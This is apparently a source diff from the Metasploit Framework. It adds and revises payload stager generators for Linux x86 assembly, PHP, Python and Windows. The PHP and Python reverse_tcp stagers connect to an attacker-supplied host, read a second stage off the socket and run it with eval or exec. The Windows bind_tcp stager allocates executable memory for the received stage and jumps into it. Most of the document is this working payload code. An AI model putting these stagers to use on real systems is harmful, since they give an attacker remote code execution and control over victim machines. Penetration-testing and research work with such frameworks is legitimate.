mov dl, 0x7
|
||||
mov ecx, 0x1000
|
||||
mov ebx, esp
|
||||
|
@ -110,12 +126,13 @@ module Payload::Linux::ReverseTcp
|
|||
shl ebx, 0xc
|
||||
mov al, 0x7d
|
||||
int 0x80 ; sys_mprotect
|
||||
|
||||
pop ebx
|
||||
mov ecx, esp
|
||||
cdq
|
||||
mov dh, 0xc
|
||||
mov al, 0x3
|
||||
int 0x80 ; sys_read
|
||||
int 0x80 ; sys_read (recv())
|
||||
jmp ecx
|
||||
^
|
||||
|
||||
|
|
|
@ -0,0 +1,52 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/uuid'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Basic send_uuid stub for Linux ARCH_X86 payloads
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Linux::SendUUID
|
||||
|
||||
#
|
||||
# Generate assembly code that writes the UUID to the socket.
|
||||
#
|
||||
# This code assumes that the communications socket handle is in edi.
|
||||
#
|
||||
def asm_send_uuid(uuid=nil)
|
||||
uuid ||= generate_payload_uuid
|
||||
uuid_raw = uuid.to_raw
|
||||
|
||||
asm =%Q^
|
||||
send_uuid:
|
||||
push ebx ; store ebx for later
|
||||
push ecx ; store ecx for later
|
||||
push 0 ; terminate the args array
|
||||
push #{uuid_raw.length} ; length of the UUID
|
||||
call get_uuid_address ; put uuid buffer on the stack
|
||||
db #{raw_to_db(uuid_raw)} ; UUID itself
|
||||
get_uuid_address:
|
||||
push edi ; socket handle
|
||||
mov ecx, esp ; store the pointer to the argument arra
|
||||
push 0x9 ; SYS_SEND
|
||||
pop ebx
|
||||
push 0x66 ; sys_socketcall
|
||||
pop eax
|
||||
int 0x80
|
||||
add esp, 16 ; put the stack back how it was
|
||||
pop ecx ; restore ecx
|
||||
pop ebx ; restore ebx
|
||||
^
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,123 @@
|
|||
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/php/send_uuid'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex bind_tcp payload generation for PHP
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Php::BindTcp
|
||||
|
||||
include Msf::Payload::Php
|
||||
include Msf::Payload::Php::SendUUID
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
conf = {
|
||||
port: datastore['LPORT']
|
||||
}
|
||||
|
||||
php = super + generate_bind_tcp(conf)
|
||||
php.gsub!(/#.*$/, '')
|
||||
Rex::Text.compress(php)
|
||||
end
|
||||
|
||||
#
|
||||
# By default, we don't want to send the UUID, but we'll send
|
||||
# for certain payloads if requested.
|
||||
#
|
||||
def include_send_uuid
|
||||
false
|
||||
end
|
||||
|
||||
def use_ipv6
|
||||
false
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_bind_tcp(opts)
|
||||
end
|
||||
|
||||
def generate_bind_tcp(opts={})
|
||||
ipf = 'AF_INET'
|
||||
ip = '0.0.0.0'
|
||||
if use_ipv6
|
||||
ipf << "6"
|
||||
ip = '[::]'
|
||||
end
|
||||
|
||||
php = %Q^//<?php
|
||||
error_reporting(0);
|
||||
$ip = '#{ip}';
|
||||
$port = #{opts[:port]};
|
||||
|
||||
if (is_callable('stream_socket_server')) {
|
||||
$srvsock = stream_socket_server("tcp://{$ip}:{$port}");
|
||||
if (!$srvsock) { die(); }
|
||||
$s = stream_socket_accept($srvsock, -1);
|
||||
fclose($srvsock);
|
||||
$s_type = 'stream';
|
||||
} elseif (is_callable('socket_create_listen')) {
|
||||
$srvsock = socket_create_listen(#{ipf}, SOCK_STREAM, SOL_TCP);
|
||||
if (!$res) { die(); }
|
||||
$s = socket_accept($srvsock);
|
||||
socket_close($srvsock);
|
||||
$s_type = 'socket';
|
||||
} elseif (is_callable('socket_create')) {
|
||||
$srvsock = socket_create(#{ipf}, SOCK_STREAM, SOL_TCP);
|
||||
$res = socket_bind($srvsock, $ip, $port);
|
||||
if (!$res) { die(); }
|
||||
$s = socket_accept($srvsock);
|
||||
socket_close($srvsock);
|
||||
$s_type = 'socket';
|
||||
} else {
|
||||
die();
|
||||
}
|
||||
if (!$s) { die(); }
|
||||
^
|
||||
|
||||
php << php_send_uuid if include_send_uuid
|
||||
|
||||
php << %Q^switch ($s_type) {
|
||||
case 'stream': $len = fread($s, 4); break;
|
||||
case 'socket': $len = socket_read($s, 4); break;
|
||||
}
|
||||
if (!$len) {
|
||||
# We failed on the main socket. There's no way to continue, so
|
||||
# bail
|
||||
die();
|
||||
}
|
||||
$a = unpack("Nlen", $len);
|
||||
$len = $a['len'];
|
||||
|
||||
$b = '';
|
||||
while (strlen($b) < $len) {
|
||||
switch ($s_type) {
|
||||
case 'stream': $b .= fread($s, $len-strlen($b)); break;
|
||||
case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
|
||||
}
|
||||
}
|
||||
|
||||
# Set up the socket for the main stage to use.
|
||||
$GLOBALS['msgsock'] = $s;
|
||||
$GLOBALS['msgsock_type'] = $s_type;
|
||||
eval($b);
|
||||
die();^
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
conn.put([payload.length].pack("N"))
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,113 @@
|
|||
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/php/send_uuid'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex reverse_tcp payload generation for PHP
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Php::ReverseTcp
|
||||
|
||||
include Msf::Payload::Php::SendUUID
|
||||
include Msf::Payload::UUID::Options
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
conf = {
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
}
|
||||
|
||||
php = super + generate_reverse_tcp(conf)
|
||||
php.gsub!(/#.*$/, '')
|
||||
Rex::Text.compress(php)
|
||||
end
|
||||
|
||||
#
|
||||
# By default, we don't want to send the UUID, but we'll send
|
||||
# for certain payloads if requested.
|
||||
#
|
||||
def include_send_uuid
|
||||
false
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_tcp(opts)
|
||||
end
|
||||
|
||||
def generate_reverse_tcp(opts={})
|
||||
ipf = "AF_INET";
|
||||
if Rex::Socket.is_ipv6?(opts[:host])
|
||||
ipf << "6"
|
||||
opts[:host] = "[#{opts[:host]}]"
|
||||
end
|
||||
|
||||
php = %Q^//<?php
|
||||
error_reporting(0);
|
||||
$ip = '#{opts[:host]}';
|
||||
$port = #{opts[:port]};
|
||||
|
||||
if (($f = 'stream_socket_client') && is_callable($f)) {
|
||||
$s = $f("tcp://{$ip}:{$port}");
|
||||
$s_type = 'stream';
|
||||
} elseif (($f = 'fsockopen') && is_callable($f)) {
|
||||
$s = $f($ip, $port);
|
||||
$s_type = 'stream';
|
||||
} elseif (($f = 'socket_create') && is_callable($f)) {
|
||||
$s = $f(#{ipf}, SOCK_STREAM, SOL_TCP);
|
||||
$res = @socket_connect($s, $ip, $port);
|
||||
if (!$res) { die(); }
|
||||
$s_type = 'socket';
|
||||
} else {
|
||||
die('no socket funcs');
|
||||
}
|
||||
if (!$s) { die('no socket'); }
|
||||
^
|
||||
|
||||
php << php_send_uuid if include_send_uuid
|
||||
|
||||
php << %Q^switch ($s_type) {
|
||||
case 'stream': $len = fread($s, 4); break;
|
||||
case 'socket': $len = socket_read($s, 4); break;
|
||||
}
|
||||
if (!$len) {
|
||||
# We failed on the main socket. There's no way to continue, so
|
||||
# bail
|
||||
die();
|
||||
}
|
||||
$a = unpack("Nlen", $len);
|
||||
$len = $a['len'];
|
||||
|
||||
$b = '';
|
||||
while (strlen($b) < $len) {
|
||||
switch ($s_type) {
|
||||
case 'stream': $b .= fread($s, $len-strlen($b)); break;
|
||||
case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
|
||||
}
|
||||
}
|
||||
|
||||
# Set up the socket for the main stage to use.
|
||||
$GLOBALS['msgsock'] = $s;
|
||||
$GLOBALS['msgsock_type'] = $s_type;
|
||||
eval($b);
|
||||
die();^
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
conn.put([payload.length].pack("N"))
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,39 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/php'
|
||||
require 'msf/core/payload/uuid'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Basic send_uuid stub for PHP payloads
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Php::SendUUID
|
||||
|
||||
#
|
||||
# Generate PHP code that writes the UUID to the socket.
|
||||
#
|
||||
def php_send_uuid(opts={})
|
||||
sock_var = opts[:sock_var] || '$s'
|
||||
sock_type = opts[:sock_type] || '$s_type'
|
||||
|
||||
uuid = opts[:uuid] || generate_payload_uuid
|
||||
uuid_raw = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('')
|
||||
|
||||
php = %Q^$u="#{uuid_raw}";
|
||||
switch (#{sock_type}) {
|
||||
case 'stream': fwrite(#{sock_var}, $u); break;
|
||||
case 'socket': socket_write(#{sock_var}, $u); break;
|
||||
}
|
||||
^
|
||||
php
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
|
||||
module Msf::Payload::Python
|
||||
|
||||
#
|
||||
# Encode the given python command in base64 and wrap it with a stub
|
||||
# that will decode and execute it on the fly.
|
||||
#
|
||||
# @param cmd [String] The python code to execute.
|
||||
# @return [String] Full python stub to execute the command.
|
||||
#
|
||||
def py_create_exec_stub(cmd)
|
||||
# Base64 encoding is required in order to handle Python's formatting
|
||||
# requirements in the while loop
|
||||
b64_stub = "import base64,sys;exec(base64.b64decode("
|
||||
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
|
||||
b64_stub << Rex::Text.encode_base64(cmd)
|
||||
b64_stub << "')))"
|
||||
b64_stub
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,67 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/python/send_uuid'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex bind_tcp payload generation for Python
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Python::BindTcp
|
||||
|
||||
include Msf::Payload::Python
|
||||
include Msf::Payload::Python::SendUUID
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
conf = {
|
||||
port: datastore['LPORT']
|
||||
}
|
||||
|
||||
generate_bind_tcp(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# By default, we don't want to send the UUID, but we'll send
|
||||
# for certain payloads if requested.
|
||||
#
|
||||
def include_send_uuid
|
||||
false
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_bind_tcp(opts)
|
||||
end
|
||||
|
||||
def generate_bind_tcp(opts={})
|
||||
# Set up the socket
|
||||
cmd = "import socket,struct\n"
|
||||
cmd << "b=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
|
||||
cmd << "b.bind(('0.0.0.0',#{opts[:port]}))\n"
|
||||
cmd << "b.listen(1)\n"
|
||||
cmd << "s,a=b.accept()\n"
|
||||
cmd << py_send_uuid if include_send_uuid
|
||||
cmd << "l=struct.unpack('>I',s.recv(4))[0]\n"
|
||||
cmd << "d=s.recv(l)\n"
|
||||
cmd << "while len(d)<l:\n"
|
||||
cmd << "\td+=s.recv(l-len(d))\n"
|
||||
cmd << "exec(d,{'s':s})\n"
|
||||
|
||||
py_create_exec_stub(cmd)
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
conn.put([payload.length].pack("N"))
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,66 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/python/send_uuid'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex reverse_tcp payload generation for Python
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Python::ReverseTcp
|
||||
|
||||
include Msf::Payload::Python
|
||||
include Msf::Payload::Python::SendUUID
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
conf = {
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
}
|
||||
|
||||
generate_reverse_tcp(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# By default, we don't want to send the UUID, but we'll send
|
||||
# for certain payloads if requested.
|
||||
#
|
||||
def include_send_uuid
|
||||
false
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_tcp(opts)
|
||||
end
|
||||
|
||||
def generate_reverse_tcp(opts={})
|
||||
# Set up the socket
|
||||
cmd = "import socket,struct\n"
|
||||
cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
|
||||
cmd << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n"
|
||||
cmd << py_send_uuid if include_send_uuid
|
||||
cmd << "l=struct.unpack('>I',s.recv(4))[0]\n"
|
||||
cmd << "d=s.recv(l)\n"
|
||||
cmd << "while len(d)<l:\n"
|
||||
cmd << "\td+=s.recv(l-len(d))\n"
|
||||
cmd << "exec(d,{'s':s})\n"
|
||||
|
||||
py_create_exec_stub(cmd)
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
conn.put([payload.length].pack("N"))
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,32 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/python'
|
||||
require 'msf/core/payload/uuid'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Basic send_uuid stub for Python payloads
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Python::SendUUID
|
||||
|
||||
#
|
||||
# Generate python code that writes the UUID to the socket.
|
||||
#
|
||||
def py_send_uuid(opts={})
|
||||
sock_var = opts[:sock_var] || 's'
|
||||
|
||||
uuid = opts[:uuid] || generate_payload_uuid
|
||||
uuid_raw = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('')
|
||||
|
||||
"#{sock_var}.send(\"#{uuid_raw}\")\n"
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -131,14 +131,14 @@ module Msf::Payload::Stager
|
|||
# Generates the stage payload and substitutes all offsets.
|
||||
#
|
||||
# @return [String] The generated payload stage, as a string.
|
||||
def generate_stage
|
||||
def generate_stage(opts={})
|
||||
# XXX: This is nearly identical to Payload#internal_generate
|
||||
|
||||
# Compile the stage as necessary
|
||||
if stage_assembly and !stage_assembly.empty?
|
||||
raw = build(stage_assembly, stage_offsets)
|
||||
else
|
||||
raw = stage_payload.dup
|
||||
raw = stage_payload(opts).dup
|
||||
end
|
||||
|
||||
# Substitute variables in the stage
|
||||
|
@ -156,7 +156,16 @@ module Msf::Payload::Stager
|
|||
# If the stage should be sent over the client connection that is
|
||||
# established (which is the default), then go ahead and transmit it.
|
||||
if (stage_over_connection?)
|
||||
p = generate_stage
|
||||
opts = {}
|
||||
|
||||
if include_send_uuid
|
||||
uuid_raw = conn.get_once(16, 1)
|
||||
if uuid_raw
|
||||
opts[:uuid] = Msf::Payload::UUID.new({raw: uuid_raw})
|
||||
end
|
||||
end
|
||||
|
||||
p = generate_stage(opts)
|
||||
|
||||
# Encode the stage if stage encoding is enabled
|
||||
begin
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core/payload/uuid_options'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
##
|
||||
# This module contains helper functions for creating the transport
|
||||
|
@ -8,7 +8,7 @@ require 'msf/core/payload/uuid_options'
|
|||
##
|
||||
module Msf::Payload::TransportConfig
|
||||
|
||||
include Msf::Payload::UUIDOptions
|
||||
include Msf::Payload::UUID::Options
|
||||
|
||||
def transport_config_reverse_tcp(opts={})
|
||||
config = transport_config_bind_tcp(opts)
|
||||
|
|
|
@ -7,7 +7,7 @@ require 'rex/payloads/meterpreter/uri_checksum'
|
|||
#
|
||||
# This module provides datastore option definitions and helper methods for payload modules that support UUIDs
|
||||
#
|
||||
module Msf::Payload::UUIDOptions
|
||||
module Msf::Payload::UUID::Options
|
||||
|
||||
include Rex::Payloads::Meterpreter::UriChecksum
|
||||
|
||||
|
@ -17,6 +17,8 @@ module Msf::Payload::UUIDOptions
|
|||
[
|
||||
Msf::OptString.new('PayloadUUIDSeed', [ false, 'A string to use when generating the payload UUID (deterministic)']),
|
||||
Msf::OptString.new('PayloadUUIDRaw', [ false, 'A hex string representing the raw 8-byte PUID value for the UUID']),
|
||||
Msf::OptString.new('PayloadUUIDName', [ false, 'A human-friendly name to reference this unique payload (requires tracking)']),
|
||||
Msf::OptBool.new('PayloadUUIDTracking', [ true, 'Whether or not to automatically register generated UUIDs', false]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -31,7 +33,7 @@ module Msf::Payload::UUIDOptions
|
|||
def generate_uri_uuid_mode(mode,len=nil)
|
||||
sum = uri_checksum_lookup(mode)
|
||||
|
||||
# The URI length may not have room for an embedded checksum
|
||||
# The URI length may not have room for an embedded UUID
|
||||
if len && len < URI_CHECKSUM_UUID_MIN_LEN
|
||||
# Throw an error if the user set a seed, but there is no room for it
|
||||
if datastore['PayloadUUIDSeed'].to_s.length > 0 ||datastore['PayloadUUIDRaw'].to_s.length > 0
|
||||
|
@ -40,7 +42,11 @@ module Msf::Payload::UUIDOptions
|
|||
return "/" + generate_uri_checksum(sum, len, prefix="")
|
||||
end
|
||||
|
||||
generate_uri_uuid(sum, generate_payload_uuid, len)
|
||||
uuid = generate_payload_uuid
|
||||
uri = generate_uri_uuid(sum, uuid, len)
|
||||
record_payload_uuid_url(uuid, uri)
|
||||
|
||||
uri
|
||||
end
|
||||
|
||||
# Generate a Payload UUID
|
||||
|
@ -66,7 +72,48 @@ module Msf::Payload::UUIDOptions
|
|||
conf[:puid] = puid_raw
|
||||
end
|
||||
|
||||
Msf::Payload::UUID.new(conf)
|
||||
if datastore['PayloadUUIDName'].to_s.length > 0 && ! datastore['PayloadUUIDTracking']
|
||||
raise ArgumentError, "The PayloadUUIDName value is ignored unless PayloadUUIDTracking is enabled"
|
||||
end
|
||||
|
||||
# Generate the UUID object
|
||||
uuid = Msf::Payload::UUID.new(conf)
|
||||
record_payload_uuid(uuid)
|
||||
|
||||
uuid
|
||||
end
|
||||
|
||||
# Store a UUID in the JSON database if tracking is enabled
|
||||
def record_payload_uuid(uuid, info={})
|
||||
return unless datastore['PayloadUUIDTracking']
|
||||
|
||||
uuid_info = info.merge({
|
||||
arch: uuid.arch,
|
||||
platform: uuid.platform,
|
||||
timestamp: uuid.timestamp,
|
||||
payload: self.fullname,
|
||||
datastore: self.datastore
|
||||
})
|
||||
|
||||
if datastore['PayloadUUIDSeed'].to_s.length > 0
|
||||
uuid_info[:seed] = datastore['PayloadUUIDSeed']
|
||||
end
|
||||
|
||||
if datastore['PayloadUUIDName'].to_s.length > 0
|
||||
uuid_info[:name] = datastore['PayloadUUIDName']
|
||||
end
|
||||
|
||||
framework.uuid_db[uuid.puid_hex] = uuid_info
|
||||
end
|
||||
|
||||
# Store a UUID URL in the JSON database if tracking is enabled
|
||||
def record_payload_uuid_url(uuid, url)
|
||||
return unless datastore['PayloadUUIDTracking']
|
||||
uuid_info = framework.uuid_db[uuid.puid_hex]
|
||||
uuid_info['urls'] ||= []
|
||||
uuid_info['urls'] << url
|
||||
uuid_info['urls'].uniq!
|
||||
framework.uuid_db[uuid.puid_hex] = uuid_info
|
||||
end
|
||||
|
||||
end
|
|
@ -2,6 +2,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/send_uuid'
|
||||
require 'msf/core/payload/windows/block_api'
|
||||
require 'msf/core/payload/windows/exitfunk'
|
||||
|
||||
|
@ -19,6 +20,7 @@ module Payload::Windows::BindTcp
|
|||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::SendUUID
|
||||
include Msf::Payload::Windows::BlockApi
|
||||
include Msf::Payload::Windows::Exitfunk
|
||||
|
||||
|
@ -40,10 +42,25 @@ module Payload::Windows::BindTcp
|
|||
generate_bind_tcp(conf)
|
||||
end
|
||||
|
||||
#
|
||||
# By default, we don't want to send the UUID, but we'll send
|
||||
# for certain payloads if requested.
|
||||
#
|
||||
def include_send_uuid
|
||||
false
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_bind_tcp(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Don't use IPv6 by default, this can be overridden by other payloads
|
||||
#
|
||||
def use_ipv6
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
|
@ -74,6 +91,8 @@ module Payload::Windows::BindTcp
|
|||
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
|
||||
space += 14
|
||||
|
||||
space += uuid_required_size if include_send_uuid
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
@ -88,7 +107,15 @@ module Payload::Windows::BindTcp
|
|||
def asm_bind_tcp(opts={})
|
||||
|
||||
reliable = opts[:reliable]
|
||||
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
addr_fam = 2
|
||||
sockaddr_size = 16
|
||||
|
||||
if use_ipv6
|
||||
addr_fam = 23
|
||||
sockaddr_size = 28
|
||||
end
|
||||
|
||||
encoded_port = "0x%.8x" % [opts[:port].to_i, addr_fam].pack("vn").unpack("N").first
|
||||
|
||||
asm = %Q^
|
||||
; Input: EBP must be the address of 'api_call'.
|
||||
|
@ -99,42 +126,41 @@ module Payload::Windows::BindTcp
|
|||
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||
push 0x5F327377 ; ...
|
||||
push esp ; Push a pointer to the "ws2_32" string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||
call ebp ; LoadLibraryA( "ws2_32" )
|
||||
|
||||
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
|
||||
sub esp, eax ; alloc some space for the WSAData structure
|
||||
push esp ; push a pointer to this stuct
|
||||
push eax ; push the wVersionRequested parameter
|
||||
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
|
||||
call ebp ; WSAStartup( 0x0190, &WSAData );
|
||||
|
||||
push 8
|
||||
push 11
|
||||
pop ecx
|
||||
push_8_loop:
|
||||
push eax ; if we succeed, eax will be zero, push it 8 times for later ([1]-[8])
|
||||
loop push_8_loop
|
||||
push_0_loop:
|
||||
push eax ; if we succeed, eax will be zero, push it enough times
|
||||
; to cater for both IPv4 and IPv6
|
||||
loop push_0_loop
|
||||
|
||||
; push zero for the flags param [8]
|
||||
; push null for reserved parameter [7]
|
||||
; we do not specify a WSAPROTOCOL_INFO structure [6]
|
||||
; we do not specify a protocol [5]
|
||||
inc eax ;
|
||||
push eax ; push SOCK_STREAM
|
||||
inc eax ;
|
||||
push eax ; push AF_INET
|
||||
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
|
||||
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||
push 1 ; push SOCK_STREAM
|
||||
push #{addr_fam} ; push AF_INET/6
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
|
||||
call ebp ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 );
|
||||
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
|
||||
|
||||
; bind to 0.0.0.0, pushed earlier [4]
|
||||
; bind to 0.0.0.0/[::], pushed earlier
|
||||
|
||||
push #{encoded_port} ; family AF_INET and port number
|
||||
mov esi, esp ; save a pointer to sockaddr_in struct
|
||||
push 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)
|
||||
push #{sockaddr_size} ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)
|
||||
push esi ; pointer to the sockaddr_in struct
|
||||
push edi ; socket
|
||||
push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
|
||||
call ebp ; bind( s, &sockaddr_in, 16 );
|
||||
^
|
||||
|
||||
|
@ -149,27 +175,31 @@ module Payload::Windows::BindTcp
|
|||
asm << %Q^
|
||||
; backlog, pushed earlier [3]
|
||||
push edi ; socket
|
||||
push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'listen')}
|
||||
call ebp ; listen( s, 0 );
|
||||
|
||||
; we set length for the sockaddr struct to zero, pushed earlier [2]
|
||||
; we dont set the optional sockaddr param, pushed earlier [1]
|
||||
push edi ; listening socket
|
||||
push 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'accept')}
|
||||
call ebp ; accept( s, 0, 0 );
|
||||
|
||||
push edi ; push the listening socket
|
||||
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
|
||||
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
|
||||
call ebp ; closesocket( s );
|
||||
^
|
||||
|
||||
asm << asm_send_uuid if include_send_uuid
|
||||
|
||||
asm << %Q^
|
||||
recv:
|
||||
; Receive the size of the incoming second stage...
|
||||
push 0 ; flags
|
||||
push 4 ; length = sizeof( DWORD );
|
||||
push esi ; the 4 byte buffer on the stack to hold the second stage length
|
||||
push edi ; the saved socket
|
||||
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
|
||||
call ebp ; recv( s, &dwLength, 4, 0 );
|
||||
^
|
||||
|
||||
|
@ -188,7 +218,7 @@ module Payload::Windows::BindTcp
|
|||
push 0x1000 ; MEM_COMMIT
|
||||
push esi ; push the newly recieved second stage length.
|
||||
push 0 ; NULL as we dont care where the allocation is.
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
; Receive the second stage and execute it...
|
||||
xchg ebx, eax ; ebx = our new memory address for the new stage
|
||||
|
@ -198,7 +228,7 @@ module Payload::Windows::BindTcp
|
|||
push esi ; length
|
||||
push ebx ; the current address into our second stage's RWX buffer
|
||||
push edi ; the saved socket
|
||||
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
|
||||
call ebp ; recv( s, buffer, length, 0 );
|
||||
^
|
||||
|
||||
|
@ -221,13 +251,12 @@ module Payload::Windows::BindTcp
|
|||
if opts[:exitfunk]
|
||||
asm << %Q^
|
||||
failure:
|
||||
|
||||
^
|
||||
asm << asm_exitfunk(opts)
|
||||
else
|
||||
asm << %Q^
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
|
|
|
@ -4,7 +4,7 @@ require 'msf/core'
|
|||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/block_api'
|
||||
require 'msf/core/payload/windows/exitfunk'
|
||||
require 'msf/core/payload/uuid_options'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module Msf
|
||||
|
||||
|
@ -20,7 +20,7 @@ module Payload::Windows::ReverseHttp
|
|||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BlockApi
|
||||
include Msf::Payload::Windows::Exitfunk
|
||||
include Msf::Payload::UUIDOptions
|
||||
include Msf::Payload::UUID::Options
|
||||
|
||||
#
|
||||
# Register reverse_http specific options
|
||||
|
|
|
@ -2,6 +2,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/windows/send_uuid'
|
||||
require 'msf/core/payload/windows/block_api'
|
||||
require 'msf/core/payload/windows/exitfunk'
|
||||
|
||||
|
